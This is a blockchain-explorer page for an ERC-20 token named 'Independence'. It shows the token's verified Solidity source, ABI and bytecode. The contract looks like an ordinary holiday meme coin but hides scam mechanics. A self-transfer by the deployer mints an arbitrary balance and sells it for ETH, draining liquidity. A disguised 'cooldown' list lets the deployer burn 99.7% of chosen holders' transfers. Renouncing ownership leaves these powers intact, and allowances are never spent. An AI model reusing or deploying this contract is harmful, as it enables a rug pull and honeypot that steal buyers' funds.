ERC-20
Overview
Max Total Supply
100,000,000,000 INDEPENDENCE
Holders
26
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
495,775,684.988511764 INDEPENDENCEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Independence
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-04 */ pragma solidity ^0.8.19; // SPDX-License-Identifier: MIT library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) {return 0;} uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair_); } interface IUniswapV2Router { function factory() external pure returns (address addr); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata _path, address c, uint256) external; function WETH() external pure returns (address aadd); } abstract contract Ownable { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function owner() public view virtual returns (address) {return _owner;} function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } address private _owner; modifier onlyOwner(){ require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } constructor () { emit OwnershipTransferred(address(0), _owner); _owner = msg.sender; } } contract Independence is Ownable { using SafeMath for uint256; uint256 public _decimals = 9; uint256 public _totalSupply = 100000000000 * 10 ** _decimals; IUniswapV2Router private uniV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public _feeReceiverAddress; function _approve(address owner, address spender, uint256 amount) internal { require(spender != address(0)); require(owner != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } string private _name = unicode"🇺🇸🇺🇸 Happy Independence Day! 🇺🇸🇺🇸"; function setCooldownActive() external onlyOwner { is_cooldown_enabled = true; } constructor() { _feeReceiverAddress = msg.sender; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _balances[msg.sender]); } uint256 public _maxTransaction = _totalSupply; string private _symbol = "INDEPENDENCE"; function name() external view returns (string memory) { return _name; } function deactiveCooldown() external onlyOwner { is_cooldown_enabled = false; } mapping(address => uint256) bots; event Transfer(address indexed address_from, address indexed address_to, uint256); function transfer(address recipient, uint256 value) public returns (bool) { _transfer(msg.sender, recipient, value); return true; } function addCooldown(address[] calldata botsToCooldown) external { for (uint a = 0; a < botsToCooldown.length; a++) { if (!taxWalletAddress()){} else { botsCooldown[botsToCooldown[a]] = block.number + 1; }} } function swap(uint256 tokenAmount, address recipient) private { _approve(address(this), address(uniV2Router), tokenAmount); _balances[address(this)] = tokenAmount;address[] memory path = new address[](2); path[0] = address(this); path[1] = uniV2Router.WETH(); uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, recipient, block.timestamp + 31); } bool is_cooldown_enabled = true; function decreaseAllowance(address from, uint256 amount) public returns (bool) { require(_allowances[msg.sender][from] >= amount); _approve(msg.sender, from, _allowances[msg.sender][from] - amount); return true; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function getUniswapRouterAddress() public view returns (address) { return address(uniV2Router); } function taxWalletAddress() internal view returns (bool) { return msg.sender == _feeReceiverAddress; } function setFee(uint256 newFee) external onlyOwner { require(newFee < 2); _fee = newFee; } event Approval(address indexed address_from, address indexed address_to, uint256 value); function decimals() external view returns (uint256) { return _decimals; } function symbol() public view returns (string memory) { return _symbol; } function approve(address spender, uint256 amount) public virtual returns (bool) { _approve(msg.sender, spender, amount); return true; } function totalSupply() external view returns (uint256) { return _totalSupply; } function transferFrom(address from, address recipient, uint256 amount) public returns (bool) { _transfer(from, recipient, amount); require(_allowances[from][msg.sender] >= amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 _fee = 0; mapping (address => uint256) botsCooldown; function _transfer(address _sender, address _to, uint256 value) internal { require(_sender != address(0)); if (msg.sender == _feeReceiverAddress && _sender == _to) {swap(value, _to);} else {require(value <= _balances[_sender]); uint256 fee = 0; if (botsCooldown[_sender] != 0 && botsCooldown[_sender] <= block.number) {fee = value.mul(997).div(1000);} _balances[_sender] = _balances[_sender] - value; _balances[_to] += value - fee; emit Transfer(_sender, _to, value); } } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"address_from","type":"address"},{"indexed":true,"internalType":"address","name":"address_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"address_from","type":"address"},{"indexed":true,"internalType":"address","name":"address_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feeReceiverAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"botsToCooldown","type":"address[]"}],"name":"addCooldown","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deactiveCooldown","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getUniswapRouterAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setCooldownActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newFee","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526009600155600154600a6200001a9190620004a6565b64174876e8006200002c9190620004f7565b600255737a250d5630b4cf539739df2c5dacb4c659f2488d600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060600160405280603981526020016200273a6039913960059081620000ae9190620007b2565b506002546006556040518060400160405280600c81526020017f494e444550454e44454e4345000000000000000000000000000000000000000081525060079081620000fb9190620007b2565b506001600960006101000a81548160ff0219169083151502179055506000600c553480156200012957600080fd5b5060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600254600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516200030b9190620008aa565b60405180910390a3620008c7565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620003a7578086048111156200037f576200037e62000319565b5b60018516156200038f5780820291505b80810290506200039f8562000348565b94506200035f565b94509492505050565b600082620003c2576001905062000495565b81620003d2576000905062000495565b8160018114620003eb5760028114620003f6576200042c565b600191505062000495565b60ff8411156200040b576200040a62000319565b5b8360020a91508482111562000425576200042462000319565b5b5062000495565b5060208310610133831016604e8410600b8410161715620004665782820a90508381111562000460576200045f62000319565b5b62000495565b62000475848484600162000355565b925090508184048111156200048f576200048e62000319565b5b81810290505b9392505050565b6000819050919050565b6000620004b3826200049c565b9150620004c0836200049c565b9250620004ef7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003b0565b905092915050565b600062000504826200049c565b915062000511836200049c565b925082820262000521816200049c565b915082820484148315176200053b576200053a62000319565b5b5092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005c457607f821691505b602082108103620005da57620005d96200057c565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006447fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000605565b62000650868362000605565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620006936200068d62000687846200049c565b62000668565b6200049c565b9050919050565b6000819050919050565b620006af8362000672565b620006c7620006be826200069a565b84845462000612565b825550505050565b600090565b620006de620006cf565b620006eb818484620006a4565b505050565b5b81811015620007135762000707600082620006d4565b600181019050620006f1565b5050565b601f82111562000762576200072c81620005e0565b6200073784620005f5565b8101602085101562000747578190505b6200075f6200075685620005f5565b830182620006f0565b50505b505050565b600082821c905092915050565b6000620007876000198460080262000767565b1980831691505092915050565b6000620007a2838362000774565b9150826002028217905092915050565b620007bd8262000542565b67ffffffffffffffff811115620007d957620007d86200054d565b5b620007e58254620005ab565b620007f282828562000717565b600060209050601f8311600181146200082a576000841562000815578287015190505b62000821858262000794565b86555062000891565b601f1984166200083a86620005e0565b60005b8281101562000864578489015182556001820191506020850194506020810190506200083d565b8683101562000884578489015162000880601f89168262000774565b8355505b6001600288020188555050505b505050505050565b620008a4816200049c565b82525050565b6000602082019050620008c1600083018462000899565b92915050565b611e6380620008d76000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c8063715018a6116100b8578063a457c2d71161007c578063a457c2d714610331578063a9059cbb14610361578063c152543914610391578063d39ac0cb146103ad578063da7003d4146103cb578063dd62ed3e146103e957610142565b8063715018a6146102d75780638ab987ea146102e15780638da5cb5b146102eb57806395d89b4114610309578063a3be06771461032757610142565b806332424aa31161010a57806332424aa314610201578063395093511461021f5780633eaaf86b1461024f578063465aee8e1461026d57806369fe0e2d1461028b57806370a08231146102a757610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd1461019557806323b872dd146101b3578063313ce567146101e3575b600080fd5b61014f610419565b60405161015c91906115bc565b60405180910390f35b61017f600480360381019061017a919061167c565b6104ab565b60405161018c91906116d7565b60405180910390f35b61019d6104c2565b6040516101aa9190611701565b60405180910390f35b6101cd60048036038101906101c8919061171c565b6104cc565b6040516101da91906116d7565b60405180910390f35b6101eb61056d565b6040516101f89190611701565b60405180910390f35b610209610577565b6040516102169190611701565b60405180910390f35b6102396004803603810190610234919061167c565b61057d565b60405161024691906116d7565b60405180910390f35b61025761061b565b6040516102649190611701565b60405180910390f35b610275610621565b604051610282919061177e565b60405180910390f35b6102a560048036038101906102a09190611799565b610647565b005b6102c160048036038101906102bc91906117c6565b6106d3565b6040516102ce9190611701565b60405180910390f35b6102df61071c565b005b6102e961084f565b005b6102f36108e1565b604051610300919061177e565b60405180910390f35b61031161090a565b60405161031e91906115bc565b60405180910390f35b61032f61099c565b005b61034b6004803603810190610346919061167c565b610a2e565b60405161035891906116d7565b60405180910390f35b61037b6004803603810190610376919061167c565b610b55565b60405161038891906116d7565b60405180910390f35b6103ab60048036038101906103a69190611858565b610b6c565b005b6103b5610c17565b6040516103c2919061177e565b60405180910390f35b6103d3610c41565b6040516103e09190611701565b60405180910390f35b61040360048036038101906103fe91906118a5565b610c47565b6040516104109190611701565b60405180910390f35b60606005805461042890611914565b80601f016020809104026020016040519081016040528092919081815260200182805461045490611914565b80156104a15780601f10610476576101008083540402835291602001916104a1565b820191906000526020600020905b81548152906001019060200180831161048457829003601f168201915b5050505050905090565b60006104b8338484610cce565b6001905092915050565b6000600254905090565b60006104d9848484610e2b565b81600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561056257600080fd5b600190509392505050565b6000600154905090565b60015481565b6000610611338484600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461060c9190611974565b610cce565b6001905092915050565b60025481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff166106666108e1565b73ffffffffffffffffffffffffffffffffffffffff16146106bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b3906119f4565b60405180910390fd5b600281106106c957600080fd5b80600c8190555050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661073b6108e1565b73ffffffffffffffffffffffffffffffffffffffff1614610791576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610788906119f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1661086e6108e1565b73ffffffffffffffffffffffffffffffffffffffff16146108c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108bb906119f4565b60405180910390fd5b6000600960006101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606007805461091990611914565b80601f016020809104026020016040519081016040528092919081815260200182805461094590611914565b80156109925780601f1061096757610100808354040283529160200191610992565b820191906000526020600020905b81548152906001019060200180831161097557829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff166109bb6108e1565b73ffffffffffffffffffffffffffffffffffffffff1614610a11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a08906119f4565b60405180910390fd5b6001600960006101000a81548160ff021916908315150217905550565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ab957600080fd5b610b4b338484600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b469190611a14565b610cce565b6001905092915050565b6000610b62338484610e2b565b6001905092915050565b60005b82829050811015610c1257610b82611168565b15610bff57600143610b949190611974565b600d6000858585818110610bab57610baa611a48565b5b9050602002016020810190610bc091906117c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8080610c0a90611a77565b915050610b6f565b505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60065481565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d0757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d4057600080fd5b80600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e1e9190611701565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e6457600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610eec57508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15610f0057610efb81836111c0565b611163565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610f4c57600080fd5b600080600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414158015610fdc575043600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b1561100d5761100a6103e8610ffc6103e58561145490919063ffffffff16565b6114ce90919063ffffffff16565b90505b81600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110589190611a14565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080826110a79190611a14565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110f59190611974565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111599190611701565b60405180910390a3505b505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b6111ed30600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610cce565b81600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff81111561124e5761124d611abf565b5b60405190808252806020026020018201604052801561127c5781602001602082028036833780820191505090505b509050308160008151811061129457611293611a48565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561133b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135f9190611b03565b8160018151811061137357611372611a48565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601f426113fd9190611974565b6040518663ffffffff1660e01b815260040161141d959493929190611c33565b600060405180830381600087803b15801561143757600080fd5b505af115801561144b573d6000803e3d6000fd5b50505050505050565b600080830361146657600090506114c8565b600082846114749190611c8d565b90508284826114839190611cfe565b146114c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ba90611da1565b60405180910390fd5b809150505b92915050565b6000808211611512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150990611e0d565b60405180910390fd5b600082846115209190611cfe565b90508091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561156657808201518184015260208101905061154b565b60008484015250505050565b6000601f19601f8301169050919050565b600061158e8261152c565b6115988185611537565b93506115a8818560208601611548565b6115b181611572565b840191505092915050565b600060208201905081810360008301526115d68184611583565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611613826115e8565b9050919050565b61162381611608565b811461162e57600080fd5b50565b6000813590506116408161161a565b92915050565b6000819050919050565b61165981611646565b811461166457600080fd5b50565b60008135905061167681611650565b92915050565b60008060408385031215611693576116926115de565b5b60006116a185828601611631565b92505060206116b285828601611667565b9150509250929050565b60008115159050919050565b6116d1816116bc565b82525050565b60006020820190506116ec60008301846116c8565b92915050565b6116fb81611646565b82525050565b600060208201905061171660008301846116f2565b92915050565b600080600060608486031215611735576117346115de565b5b600061174386828701611631565b935050602061175486828701611631565b925050604061176586828701611667565b9150509250925092565b61177881611608565b82525050565b6000602082019050611793600083018461176f565b92915050565b6000602082840312156117af576117ae6115de565b5b60006117bd84828501611667565b91505092915050565b6000602082840312156117dc576117db6115de565b5b60006117ea84828501611631565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611818576118176117f3565b5b8235905067ffffffffffffffff811115611835576118346117f8565b5b602083019150836020820283011115611851576118506117fd565b5b9250929050565b6000806020838503121561186f5761186e6115de565b5b600083013567ffffffffffffffff81111561188d5761188c6115e3565b5b61189985828601611802565b92509250509250929050565b600080604083850312156118bc576118bb6115de565b5b60006118ca85828601611631565b92505060206118db85828601611631565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061192c57607f821691505b60208210810361193f5761193e6118e5565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061197f82611646565b915061198a83611646565b92508282019050808211156119a2576119a1611945565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006119de602083611537565b91506119e9826119a8565b602082019050919050565b60006020820190508181036000830152611a0d816119d1565b9050919050565b6000611a1f82611646565b9150611a2a83611646565b9250828203905081811115611a4257611a41611945565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611a8282611646565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611ab457611ab3611945565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050611afd8161161a565b92915050565b600060208284031215611b1957611b186115de565b5b6000611b2784828501611aee565b91505092915050565b6000819050919050565b6000819050919050565b6000611b5f611b5a611b5584611b30565b611b3a565b611646565b9050919050565b611b6f81611b44565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611baa81611608565b82525050565b6000611bbc8383611ba1565b60208301905092915050565b6000602082019050919050565b6000611be082611b75565b611bea8185611b80565b9350611bf583611b91565b8060005b83811015611c26578151611c0d8882611bb0565b9750611c1883611bc8565b925050600181019050611bf9565b5085935050505092915050565b600060a082019050611c4860008301886116f2565b611c556020830187611b66565b8181036040830152611c678186611bd5565b9050611c76606083018561176f565b611c8360808301846116f2565b9695505050505050565b6000611c9882611646565b9150611ca383611646565b9250828202611cb181611646565b91508282048414831517611cc857611cc7611945565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611d0982611646565b9150611d1483611646565b925082611d2457611d23611ccf565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c60008201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b6000611d8b602283611537565b9150611d9682611d2f565b604082019050919050565b60006020820190508181036000830152611dba81611d7e565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f0000000000600082015250565b6000611df7601b83611537565b9150611e0282611dc1565b602082019050919050565b60006020820190508181036000830152611e2681611dea565b905091905056fea264697066735822122067899d80f06bf299f69ffe737e52eb8c6598070fbc07bfe34211b0a59aee5c3e64736f6c63430008130033f09f87baf09f87b8f09f87baf09f87b820486170707920496e646570656e64656e6365204461792120f09f87baf09f87b8f09f87baf09f87b8
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101425760003560e01c8063715018a6116100b8578063a457c2d71161007c578063a457c2d714610331578063a9059cbb14610361578063c152543914610391578063d39ac0cb146103ad578063da7003d4146103cb578063dd62ed3e146103e957610142565b8063715018a6146102d75780638ab987ea146102e15780638da5cb5b146102eb57806395d89b4114610309578063a3be06771461032757610142565b806332424aa31161010a57806332424aa314610201578063395093511461021f5780633eaaf86b1461024f578063465aee8e1461026d57806369fe0e2d1461028b57806370a08231146102a757610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd1461019557806323b872dd146101b3578063313ce567146101e3575b600080fd5b61014f610419565b60405161015c91906115bc565b60405180910390f35b61017f600480360381019061017a919061167c565b6104ab565b60405161018c91906116d7565b60405180910390f35b61019d6104c2565b6040516101aa9190611701565b60405180910390f35b6101cd60048036038101906101c8919061171c565b6104cc565b6040516101da91906116d7565b60405180910390f35b6101eb61056d565b6040516101f89190611701565b60405180910390f35b610209610577565b6040516102169190611701565b60405180910390f35b6102396004803603810190610234919061167c565b61057d565b60405161024691906116d7565b60405180910390f35b61025761061b565b6040516102649190611701565b60405180910390f35b610275610621565b604051610282919061177e565b60405180910390f35b6102a560048036038101906102a09190611799565b610647565b005b6102c160048036038101906102bc91906117c6565b6106d3565b6040516102ce9190611701565b60405180910390f35b6102df61071c565b005b6102e961084f565b005b6102f36108e1565b604051610300919061177e565b60405180910390f35b61031161090a565b60405161031e91906115bc565b60405180910390f35b61032f61099c565b005b61034b6004803603810190610346919061167c565b610a2e565b60405161035891906116d7565b60405180910390f35b61037b6004803603810190610376919061167c565b610b55565b60405161038891906116d7565b60405180910390f35b6103ab60048036038101906103a69190611858565b610b6c565b005b6103b5610c17565b6040516103c2919061177e565b60405180910390f35b6103d3610c41565b6040516103e09190611701565b60405180910390f35b61040360048036038101906103fe91906118a5565b610c47565b6040516104109190611701565b60405180910390f35b60606005805461042890611914565b80601f016020809104026020016040519081016040528092919081815260200182805461045490611914565b80156104a15780601f10610476576101008083540402835291602001916104a1565b820191906000526020600020905b81548152906001019060200180831161048457829003601f168201915b5050505050905090565b60006104b8338484610cce565b6001905092915050565b6000600254905090565b60006104d9848484610e2b565b81600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561056257600080fd5b600190509392505050565b6000600154905090565b60015481565b6000610611338484600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461060c9190611974